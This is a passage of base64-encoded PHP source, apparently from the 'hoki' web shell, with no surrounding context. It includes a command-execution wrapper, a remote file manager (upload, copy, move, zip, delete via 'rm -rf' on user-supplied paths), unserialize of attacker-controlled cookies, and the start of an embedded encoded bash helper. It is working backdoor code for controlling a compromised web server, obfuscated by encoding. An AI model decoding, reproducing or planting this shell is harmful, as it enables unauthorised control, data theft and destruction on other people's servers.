GVzKCRsaW5rKS4iJyIpOwoJfQp9CmZ1bmN0aW9uIF9ob2tpX2ZpbGVfZXhpc3RzKCRmaWxlLCRjZ2k9dHJ1ZSl7CglpZihAZmlsZV9leGlzdHMoJGZpbGUpKXsKCQlyZXR1cm4gdHJ1ZTsKCX1lbHNlewoJCWlmKHN0cmxlbihob2tpRXgoImxzIC1s
YSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApewoJCQlyZXR1cm4gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gX2hva2lfZmlsZSgkZmlsZSwkY2dpPXRydWUpewoJJGFycmF5ID0gQGZpbGUoJGZ
pbGUpOwoJaWYoISRhcnJheSl7CgkJaWYoc3RybGVuKGhva2lFeCgiaWQiLGZhbHNlLCRjZ2kpKT4wKXsKCQkJJGRhdGEgPSBob2tpRXgoJ2NhdCAiJy5hZGRzbGFzaGVzKCRmaWxlKS4nIicsZmFsc2UsJGNnaSk7CgkJCWlmKHN0cmxlbigkZGF0YS
k+MCl7CgkJCQlyZXR1cm4gZXhwbG9kZSgiXG4iLCAkZGF0YSk7CgkJCX1lbHNlewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfWVsc2V7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9ZWxzZXsKCQlyZXR1cm4gJGFycmF5OwoJfQp9CmZ1bmN0aW9uI
F9ob2tpX2lzX3dyaXRhYmxlKCRmaWxlKXsKCSRjaGVjayA9IGZhbHNlOwoJJGNoZWNrID0gQGlzX3dyaXRhYmxlKCRmaWxlKTsKCWlmKCEkY2hlY2spewoJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBob2tpRXgoJ1sg
LXcgIicudHJpbShhZGRzbGFzaGVzKCRmaWxlKSkuJyIgXSAmJiBlY2hvICJ5ZXMiIHx8IGVjaG8gIm5vIicpOwoJCQlpZigkY2hlY2sgPT0gInllcyIpewoJCQkJJGNoZWNrID0gdHJ1ZTsKCQkJfWVsc2V7CgkJCQkkY2hlY2sgPSBmYWxzZTsKCQk
JfQoJCX0KCX0KCXJldHVybiAkY2hlY2s7Cn0KZnVuY3Rpb24gX2hva2lfaXNfZGlyKCRkaXIsJG1vZGU9Ii1kIil7CgkkY2hlY2sgPSBmYWxzZTsKCSRjaGVjayA9IEBpc19kaXIoJGRpcik7CglpZigkbW9kZSA9PSAiLWUiKXsKCQkkY2hlY2sgPS
BAaXNfZmlsZSgkZGlyKTsKCX0KCWlmKCEkY2hlY2spewoJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBob2tpRXgoJ1sgIicudHJpbSgkbW9kZSkuJyIgIicudHJpbShhZGRzbGFzaGVzKCRkaXIpKS4nIiBdICYmIGVja
G8gInllcyIgfHwgZWNobyAibm8iJyk7CgkJCWlmKCRjaGVjayA9PSAieWVzIil7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfWVsc2V7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9Cgl9CglyZXR1cm4gJGNoZWNrOwp9CmZ1bmN0aW9uIF9ob2tpX2xv
YWRfYWNlX29wdGlvbnMoJGJhc2UpewoJcmV0dXJuICc8c3Bhbj5UaGVtZTogPC9zcGFuPjxzZWxlY3QgY2xhc3M9ImFjZS1jb250cm9sZXIgYWNlLXRoZW1lLXNlbGVjdG9yIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJob2tpQWNlQ2hhbmd
lU2V0dGluZyh0aGlzLFwndGhlbWVcJyk7Ij48b3B0aW9uIHZhbHVlPSJ0ZXJtaW5hbCIgc2VsZWN0ZWQ+dGVybWluYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbWJpYW5jZSI+YW1iaWFuY2U8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaGFvcy
I+Y2hhb3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaHJvbWUiPmNocm9tZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNsb3VkcyI+Y2xvdWRzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY2xvdWRzX21pZG5pZ2h0Ij5jbG91ZHNfbWlkbmlnaHQ8L
29wdGlvbj48b3B0aW9uIHZhbHVlPSJjb2JhbHQiPmNvYmFsdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNyaW1zb25fZWRpdG9yIj5jcmltc29uX2VkaXRvcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRhd24iPmRhd248L29wdGlvbj48b3B0aW9u
IHZhbHVlPSJkcmFjdWxhIj5kcmFjdWxhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZHJlYW13ZWF2ZXIiPmRyZWFtd2VhdmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZWNsaXBzZSI+ZWNsaXBzZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImdpdGh
1YiI+Z2l0aHViPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZ29iIj5nb2I8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJncnV2Ym94Ij5ncnV2Ym94PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iaWRsZV9maW5nZXJzIj5pZGxlX2ZpbmdlcnM8L29wdGlvbj
48b3B0aW9uIHZhbHVlPSJpcGxhc3RpYyI+aXBsYXN0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrYXR6ZW5taWxjaCI+a2F0emVubWlsY2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrcl90aGVtZSI+a3JfdGhlbWU8L29wdGlvbj48b3B0aW9uI
HZhbHVlPSJrdXJvaXIiPmt1cm9pcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1lcmJpdm9yZSI+bWVyYml2b3JlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWVyYml2b3JlX3NvZnQiPm1lcmJpdm9yZV9zb2Z0PC9vcHRpb24+PG9wdGlvbiB2YWx1
ZT0ibW9ub19pbmR1c3RyaWFsIj5tb25vX2luZHVzdHJpYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb25va2FpIj5tb25va2FpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibm9yZF9kYXJrIj5ub3JkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHV
lPSJwYXN0ZWxfb25fZGFyayI+cGFzdGVsX29uX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfZGFyayI+c29sYXJpemVkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfbGlnaHQiPnNvbGFyaXplZF9saW
dodDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbHNlcnZlciI+c3Fsc2VydmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGV4dG1hdGUiPnRleHRtYXRlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3ciPnRvbW9ycm93PC9vcHRpb24+P
G9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHQiPnRvbW9ycm93X25pZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfYmx1ZSI+dG9tb3Jyb3dfbmlnaHRfYmx1ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InRvbW9ycm93
X25pZ2h0X2JyaWdodCI+dG9tb3Jyb3dfbmlnaHRfYnJpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXMiPnRvbW9ycm93X25pZ2h0X2VpZ2h0aWVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idHdpbGlnaHQ
iPnR3aWxpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idmlicmFudF9pbmsiPnZpYnJhbnRfaW5rPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieGNvZGUiPnhjb2RlPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4+TGFuZ3VhZ2U6IDwvc3Bhbj48c2VsZW
N0IGNsYXNzPSJhY2UtY29udHJvbGVyIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJob2tpQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwnbGFuZ1wnKTsiPjxvcHRpb24gdmFsdWU9InBocCI+cGhwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icHl0a
G9uIj5weXRob248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwZXJsIj5wZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY19jcHAiPmMvYysrPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3NoYXJwIj5jIzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InJ1
YnkiPnJ1Ynk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJodG1sIj5odG1sPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iamF2YXNjcmlwdCI+amF2YXNjcmlwdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNzcyI+Y3NzPC9vcHRpb24+PG9wdGlvbiB2YWx
1ZT0ieG1sIj54bWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzcWwiPnNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InN3aWZ0Ij5zd2lmdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNoIj5iYXNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibHVhIj
5sdWE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3dlcnNoZWxsIj5wb3dlcnNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNwIj5qc3A8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqYXZhIj5qYXZhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ia
nNvbiI+anNvbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBsYWluX3RleHQiPnBsYWluX3RleHQ8L29wdGlvbj48L3NlbGVjdD48c3Bhbj5Tb2Z0IFdyYXA6IDwvc3Bhbj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IndyYXBtb2RlIiBjbGFz
cz0iYWNlLWNvbnRyb2xlciIgb25DbGljaz0iaG9raUFjZUNoYW5nZVdyYXBNb2RlKHRoaXMsXCcnLiRiYXNlLidcJyk7IiBjaGVja2VkPiB8IDxzcGFuPkZvbnQgU2l6ZTogPC9zcGFuPjxidXR0b24gY2xhc3M9ImFjZS1jb250cm9sZXIiIHN0eWx
lPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9Imhva2lBY2VDaGFuZ2VGb250U2l6ZShcJycuJGJhc2UuJ1wnLFwnK1wnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4rPC9idXR0b24+IHwgPGJ1dHRvbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBjbG
Fzcz0iYWNlLWNvbnRyb2xlciIgb25jbGljaz0iaG9raUFjZUNoYW5nZUZvbnRTaXplKFwnJy4kYmFzZS4nXCcsIFwnLVwnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4tPC9idXR0b24+IHwgJzsKfQpmdW5jdGlvbiBob2tpRmlsZXNNYW4yKCl7Cglob
2tpaGVhZCgpOwoJSG9raU51bSg4LDksMTAsNyw2LDUsNCk7CgllY2hvICc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5faG9sZGVyXzEiIGNsYXNzPSJhamF4YXJlYSBmaWxlc21hbi1hY3RpdmUt
Y29udGVudCI+PGRpdiBjbGFzcz0iaGVhZGVyIj48L2Rpdj48L2Rpdj4nOwoJaG9raUZvb3RlcigpOwp9CmZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewppZihAaXNfZGlyKCRjLiRzKSl7CkBta2RpcigkZC4kcyk7CiRoID0gQG9wZW5kaXI
oJGMuJHMpOwp3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfSBlbHNlaWYoaXNfZmlsZSgkYy4kcy
kpCkBjb3B5KCRjLiRzLCAkZC4kcyk7Cn0KZnVuY3Rpb24gaG9raUZpbGVzTWFuKCl7CmlmKCFlbXB0eSAoJF9DT09LSUVbJ2hva2lfZiddKSkKJF9DT09LSUVbJ2hva2lfZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydob2tpX2YnXSk7CmlmK
CFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKc3dpdGNoKCRfUE9TVFsnaG9raTEnXSl7CmNhc2UgJ3VwbG9hZEZpbGUnOgokbW92ZV9jbWRfZmlsZSA9IGZhbHNlOwokaG9raV9jYW5ydW5jbWQgPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hk
aXJfZmFsc2UnXSl7CgkkaG9raV9jYW5ydW5jbWQgPSBfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOwoJJG1vdmVfY21kX2ZpbGUgPSB0cnVlOwp9CmlmKF9ob2tpX2lzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSkpewokZmlsZXMgPSB
yZUFycmF5RmlsZXMoJF9GSUxFU1snZiddKTsKJHJldF9maWxlcyA9IGFycmF5KCk7CmZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKaWYoJG1vdmVfY21kX2ZpbGUmJiRob2tpX2NhbnJ1bmNtZCl7Cglob2tpRXgoImNhdCAnIi5hZGRzbGFzaGVzKC
RmaWxlWyd0bXBfbmFtZSddKS4iJyA+ICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRmaWxlWyduYW1lJ10pLiInIik7Cn1lbHNlewoJaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwkZmlsZVsnbmFtZSddKSl7C
gkJJG93ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlWyduYW1lJ10pKTphcnJheSgibmFtZSIgPT4gIj8/Pz8iKTsK
CQkkZ3IgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGVbJ25hbWUnXSkpOmFycmF5KCJuYW1lIiA9PiAiPz8/PyIpOwo
JCSRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX2dyb3VwID0gJGdyWyduYW1lJ10/JGdyWyduYW
1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZpbGVbJ25hbWUnXSkpOwoJCSRma
WxlX3Blcm0gPSBob2tpUGVybXNDb2xvcigkZmlsZVsnbmFtZSddKTsKCQkkZmlsZV9zaXplID0gQGZpbGVzaXplKCRmaWxlWyduYW1lJ10pOwoJCSRyZXRfZmlsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkZmlsZVsnbmFtZSddLCAic2l6ZSIgPT4g
aG9raVNpemUoJGZpbGVfc2l6ZSksICJwZXJtIiA9PiAkZmlsZV9wZXJtLCAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJvd25lciIgPT4gJGZpbGVfb3duZXIuIi8iLiRmaWxlX2dyb3VwKTsKCX0KfQp9CmlmKCEkbW92ZV9jbWRfZmlsZSl7Cgl
lY2hvIGpzb25fZW5jb2RlKCRyZXRfZmlsZXMpOwp9Cn1lbHNlewoJZWNobyAibm9wZXJtIjsKCXJldHVybjsKfQppZighJG1vdmVfY21kX2ZpbGUpewpyZXR1cm47Cn0KYnJlYWs7CmNhc2UgJ21rZGlyJzoKJG5ld19kaXJfY21kID0gZmFsc2U7Cm
lmKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pewoJaWYoX2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJaWYoX2hva2lfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7CgkJCWlmKCFfaG9raV9pc19kaXIodHJpbSgkX
1BPU1RbJ2hva2kyJ10pKSl7CgkJCQlob2tpRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO21rZGlyICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kyJ10pKS4iJyIpOwoJCQkJZWNobyAiPHNjcmlwdD5ob2tp
U2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIjxzY3JpcHQ+aG9raVNob3dOb3RpZmljYXRpb24
oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIS
csICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCQl9Cgl9ZWxzZXsKCQllY2hvICI8c2NyaXB0Pmhva2lTaG93Tm90aWZpY2F0aW9uKCdDYW5cJ3QgY3JlYXRlIG5ldyBkaXIgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJ
yk7PC9zY3JpcHQ+IjsKCX0KfWVsc2V7CglpZihfaG9raV9pc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pKXsKCQlpZighX2hva2lfaXNfZGlyKHRyaW0oJF9QT1NUWydob2tpMiddKSkpewoJCQlpZighQG1rZGlyKHRyaW0oJF9QT1NUWydob2tp
MiddKSkpewoJCQkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignQ2FuXCd0IGNyZWF0ZSBuZXcgZGlyICEnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX1lbHNlewoJCQkJZWNobyAiPHNjcmlwdD5
ob2tpU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9CgkJfWVsc2V7CgkJCWVjaG8gIjxzY3JpcHQ+aG9raVNob3dOb3RpZm
ljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJfQoJfWVsc2V7CgkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFib
GUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKXsKJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRw
YXRoLicvJzsKJGRoID0gQG9wZW5kaXIoJHBhdGgpOwp3aGlsZSgoJGl0ZW0gPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewokaXRlbSA9ICRwYXRoLiRpdGVtOwppZigoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXR
lbSkgPT0gIi4iKSkKY29udGludWU7CiR0eXBlID0gQGZpbGV0eXBlKCRpdGVtKTsKaWYgKCR0eXBlID09ICJkaXIiKQpkZWxldGVEaXIoJGl0ZW0pOwplbHNlCkB1bmxpbmsoJGl0ZW0pOwp9CkBjbG9zZWRpcigkZGgpOwpAcm1kaXIoJHBhdGgpOw
p9CmlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCmZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpewppZigkZiA9PSAnLi4nKQpjb250aW51ZTsKJGYgPSByYXd1cmxkZWNvZGUoJGYpOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKC
WlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCWhva2lFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10uJy8nLiRmKS4iJyIpOwoJfQp9ZWxzZXsKaG9raUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkZikuIici
LGZhbHNlLGZhbHNlKTsKaWYoQGlzX2RpcigkZikpCmRlbGV0ZURpcigkZik7CmVsc2UKQHVubGluaygkZik7Cn0KfQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydob2tpMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydob2tpMid
dKSE9Jy4uJyl7CmRlbGV0ZURpcihyYXd1cmxkZWNvZGUoQCRfUE9TVFsnaG9raTInXSkpOwpob2tpRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiciLGZhbHNlLGZhbHNlKTsKfWVsc2V7CkB1bmxpbmsocmF3dXJsZG
Vjb2RlKEAkX1BPU1RbJ2hva2kyJ10pKTsKfQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCSRzb3VyY2UgPSByYXd1cmxkZWNvZGUoQCRfUE9TVFsnaG9raTInXSk7CglpZigkc291cmNlIT0nLi4nJiYhZW1wdHkoJHNvdXJjZSkpe
woJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCQlob2tpRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO3JtIC1yZiAnIi5hZGRzbGFzaGVzKCRzb3VyY2UpLiInIik7CgkJfQoJfQp9CmlmKGlz
X2FycmF5KCRfUE9TVFsnZiddKSkKcmV0dXJuOwpicmVhazsKY2FzZSAncGFzdGUnOgppZigkX0NPT0tJRVsnaG9raV9hY3QnXSA9PSAnY29weScmJmlzc2V0KCRfQ09PS0lFWydob2tpX2YnXSkpewpmb3JlYWNoKCRfQ09PS0lFWydob2tpX2YnXSB
hcyAkZikKY29weV9wYXN0ZSgkX0NPT0tJRVsnaG9raV9jJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7Cn1lbHNlaWYoJF9DT09LSUVbJ2hva2lfYWN0J10gPT0gJ21vdmUnJiZpc3NldCgkX0NPT0tJRVsnaG9raV9mJ10pKXsKZnVuY3Rpb24gbW92ZV
9wYXN0ZSgkYywkcywkZCl7CmlmKEBpc19kaXIoJGMuJHMpKXsKQG1rZGlyKCRkLiRzKTsKJGggPSBAb3BlbmRpcigkYy4kcyk7CndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKaWYoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiL
i4iKSkKY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7Cn1lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQpAY29weSgkYy4kcywgJGQuJHMpOwp9CmZvcmVhY2goJF9DT09LSUVbJ2hva2lfZiddIGFzICRmKQpAcmVuYW1lKCRfQ09PS0lF
Wydob2tpX2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKfWVsc2VpZigkX0NPT0tJRVsnaG9raV9hY3QnXSA9PSAnemlwJyYmaXNzZXQoJF9DT09LSUVbJ2hva2lfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA
9IG5ldyBaaXBBcmNoaXZlKCk7CiR6aXBYID0gImhva2lfIi5yYW5kKDEsMTAwMCkuIi56aXAiOwppZigkemlwLT5vcGVuKCR6aXBYLCAxKSl7CkBjaGRpcigkX0NPT0tJRVsnaG9raV9jJ10pOwpmb3JlYWNoKCRfQ09PS0lFWydob2tpX2YnXSBhcy
AkZil7CmlmKCRmID09ICcuLicpY29udGludWU7CmlmKEBpc19maWxlKCRfQ09PS0lFWydob2tpX2MnXS4kZikpCiR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2hva2lfYyddLiRmLCAkZik7CmVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydob2tpX2MnX
S4kZikpewokaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CmZvcmVhY2goJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSl7CiRrZXkgPSBzdHJfcmVw
bGFjZSgnXFwnLCcvJyxyZWFscGF0aCgka2V5KSk7CmlmKEBpc19kaXIoJGtleSkpewppZihpbl9hcnJheShzdWJzdHIoJGtleSwgc3RycnBvcygka2V5LCcvJykrMSksYXJyYXkoJy4nLCAnLi4nKSkpY29udGludWU7Cn1lbHNleyR6aXAtPmFkZEZ
pbGUoJGtleSwka2V5KTt9fX19CkBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwokemlwLT5jbG9zZSgpOwpfX2FsZXJ0KCc+PiAnLiR6aXBYLicgPDwgaXMgY3JlYXRlZC4uLicpO319Cn1lbHNlaWYoJF9DT09LSUVbJ2hva2lfYWN0J10gPT0gJ3Vuem
lwJyYmaXNzZXQoJF9DT09LSUVbJ2hva2lfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CmZvcmVhY2goJF9DT09LSUVbJ2hva2lfZiddIGFzICRmKSB7CmlmKCR6aXAtPm9wZW4oJ
F9DT09LSUVbJ2hva2lfYyddLiRmKSl7CiR6aXAtPmV4dHJhY3RUbygkX0NPT0tJRVsnaG9raV9jd2QnXSk7CiR6aXAtPmNsb3NlKCk7fX19fQp1bnNldCgkX0NPT0tJRVsnaG9raV9mJ10pOwpicmVhazsKZGVmYXVsdDoKaWYoIWVtcHR5KCRfUE9T
VFsnaG9raTEnXSkpewppZihpbl9hcnJheSgkX1BPU1RbJ2hva2kxJ10sIGFycmF5KCJjb3B5IiwgIm1vdmUiLCAiemlwIiwgInVuemlwIikpKXsKX19ob2tpX3NldF9jb29raWUoJ2hva2lfYWN0JywgQCRfUE9TVFsnaG9raTEnXSk7Cl9faG9raV9
zZXRfY29va2llKCdob2tpX2YnLCBAc2VyaWFsaXplKCRfUE9TVFsnZiddKSk7Cl9faG9raV9zZXRfY29va2llKCdob2tpX2MnLCBAJF9QT1NUWydjJ10pOwpyZXR1cm47Cn0KfQpicmVhazsKfQp9CiRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZX
QoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CmlmKHByZWdfbWF0Y2goIiMoLiopXC9cLlwuIyIsICRfUE9TVFsnYyddLCAkcmVzKSl7CgkkcGF0aCA9IGV4cGxvZGUoJy8nLCAkcmVzWzFdKTsKCWFycmF5X3BvcCgkc
GF0aCk7CgkkX1BPU1RbJ2MnXSA9IGltcGxvZGUoJy8nLCAkcGF0aCk7Cn0KJGNtZF9kaXIgPSBmYWxzZTsKaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKXsKCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR0bXBfZ2V0ZGly
X3BhdGggPSBAJF9DT09LSUVbImhva2ljaGRpcl9iYXNoX3BhdGgiXTsKCQlAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljaGRpcl9iYXNoIl0pfHxAIWZpbGVfZXh
pc3RzKCR0bXBfZ2V0ZGlyX3BhdGguIi9ob2tpY2dpYXBpL2dldGRpci5ob2tpIikpewoJCQkkYmFzaCA9ICJqWlRmYjVzd0VNZWY0YSs0dWFZa1NtbVMvWXBFd3NPa3FWTmZPKzFoU3FLS2dnbld3STRNRWFGcHBMM3Z2OXhmVXRzWVNLcE1XaDZJNy
